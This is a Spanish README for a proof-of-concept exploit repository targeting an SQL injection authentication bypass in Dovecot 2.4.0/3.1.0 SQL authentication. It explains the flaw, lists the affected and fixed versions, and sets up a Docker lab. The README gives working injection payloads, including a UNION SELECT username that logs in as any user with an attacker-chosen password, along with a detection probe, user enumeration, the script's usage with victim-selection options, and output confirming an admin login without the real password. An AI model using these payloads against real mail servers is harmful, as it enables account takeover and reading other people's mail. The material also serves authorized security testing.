
PoC autónomo en Python para el bypass de autenticación SQL de Dovecot: inicia sesión como cualquier usuario sin la contraseña real y enumera nombres de usuario en servidores IMAP/POP3 vulnerables 2.4.0/3.1.0.
Este repositorio contiene un exploit de prueba de concepto para eludir la autenticación de CVE-2026-24031, una inyección SQL en la autenticación basada en SQL de Dovecot introducida como regresión en Dovecot 2.4.0 / 3.1.0. En el laboratorio Docker probado (Dovecot 2.4.0 + PostgreSQL), el PoC inicia sesión como cualquier usuario sin conocer su contraseña real y también puede enumerar usuarios.
Advertencia
Este PoC realiza un bypass de autenticación no autenticado contra un servidor de correo. Úsalo solo contra un laboratorio que poseas o contra objetivos que estés autorizado explícitamente a probar. No modifica el estado del servidor, pero ejercitará la autenticación y puede dejar entradas de intentos fallidos en los registros.
La autenticación basada en SQL de Dovecot es vulnerable cuando el
administrador vacía la directiva de configuración auth_username_chars (la
establece con un valor vacío). auth_username_chars normalmente actúa como un
filtro de entrada que restringe qué caracteres se permiten en un nombre de
usuario antes de que el nombre se interpole en la consulta SQL del passdb.
Con auth_username_chars = vacío, el valor se pasa a la consulta sin
sql_escape_string(). Un nombre de usuario manipulado que contenga
metacaracteres SQL se convierte por tanto en parte de la consulta:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
El siguiente payload hace que la consulta devuelva una fila para VICTIM con
una contraseña elegida por el atacante:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} es interpretado por Dovecot (no por la base de datos), por lo que el
esquema de contraseña se gestiona de forma nativa y el truco funciona en
pgsql, mysql, mariadb y sqlite. Enviar 12345 como contraseña coincide
entonces, produciendo LOGIN OK como VICTIM sin conocer la contraseña real.
La consulta resultante es:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Se trata de una regresión introducida en Dovecot 2.4.0 y también presente en 3.1.0. Las versiones anteriores 2.2.x / 2.3.x escapan el nombre de usuario y no son vulnerables. El fallo está corregido en 2.4.3 y 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
La vulnerabilidad solo se aplica cuando se cumplen todas estas condiciones:
driver = sql) que use pgsql, mysql, mariadb o sqlite;auth_username_chars = (vacío) — la condición desencadenante establecida
por el administrador;El PoC se validó contra Dovecot 2.4.0 (etiqueta de lanzamiento oficial,
daeb6bc5) + PostgreSQL.
Autentica con el nombre de usuario ' OR '1'='1' -- y una contraseña
arbitraria. En un servidor vulnerable la consulta se altera, por lo que
Dovecot devuelve a1 NO [UNAVAILABLE] Temporary authentication failure. en
lugar del clásico AUTHENTICATIONFAILED. Esta es la huella de que el nombre
de usuario llegó a la consulta SQL sin escapar.
Autentica con el nombre de usuario:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
y la contraseña 12345. La fila de UNION sobrescribe la columna password
para VICTIM, y {PLAIN} es interpretado por Dovecot, por lo que la
verificación de contraseña tiene éxito.
Como la forma del resultado de la consulta difiere entre "el usuario existe" y "el usuario no existe" (número de filas y estado de la respuesta), el servidor filtra si un nombre de usuario existe. Esto funciona contra todos los backend afectados.
El PoC es un script autónomo de Python 3 (solo biblioteca estándar). Inicia el laboratorio vulnerable y ejecuta el exploit:
./run.sh
run.sh compila e inicia el laboratorio Docker (lab/docker-compose.yml),
espera a IMAPS en 127.0.0.1:14193 y luego ejecuta el PoC. El laboratorio
compila Dovecot 2.4.0 desde el tarball de lanzamiento oficial con una
configuración intencionalmente vulnerable y una base de datos PostgreSQL.
Pasos manuales equivalentes:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
Opciones del PoC:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP o nombre de host (obligatorio)
PORT 993 = IMAPS/TLS (predeterminado), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY segundos entre intentos (predeterminado 0.5)
PROTO imap (predeterminado) | pop3
Variables de entorno opcionales:
CVE24031_USER usuario a suplantar (predeterminado: admin)
CVE24031_PASS contraseña elegida para la fila de UNION (predeterminado: 12345)
La base de datos del laboratorio siembra estos usuarios: admin/admin123,
alice/alicepass, bob/bobpass, postmaster/postpass y victim/supersecret.
El PoC suplanta a admin sin conocer su contraseña.
El PoC se validó de extremo a extremo en el laboratorio Docker. La contraseña
real del usuario admin es admin123; el PoC inicia sesión como admin
usando 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
La transcripción completa saneada, incluidos los pasos de control legítimo y
de detección de no escape, está en
docs/example-output.txt.
La demo animada al principio de este README
(assets/CVE-2026-24031.gif) se grabó de una sesión real contra el
laboratorio en ejecución. Regenera con:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh dirige la demostración en vivo; demo.cast es la grabación asciinema
cruda utilizada para renderizar el GIF.
El aviso (OXDC-ADV-2026-0001, DOV-8781) ya está publicado upstream; Dovecot
2.4.3 / 3.1.4 escapan el nombre de usuario antes de interpolarlo en la
consulta SQL. Por tanto, la corrección no se duplica en este repositorio. El
endurecimiento recomendado es no vaciar nunca auth_username_chars, o
actualizar a una versión corregida.
Descubrimiento de la vulnerabilidad: whisperer@yeswehack.
Investigación e implementación del exploit: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 Bypass de autenticación SQL en Dovecot (bypass de autenticación + enumeración de usuarios) PoC
| Línea | Estado |
|---|
| Dovecot 2.2.x | No afectado (el nombre de usuario se escapa) |
| Dovecot 2.3.x | No afectado (el nombre de usuario se escapa) |
| Dovecot 2.4.0 | Vulnerable (regresión: el nombre de usuario no se escapa) |
| Dovecot 2.4.3+ | Corregido (el nombre de usuario se escapa) |
| Dovecot 3.1.0 | Vulnerable (misma regresión) |
| Dovecot 3.1.4+ | Corregido (el nombre de usuario se escapa) |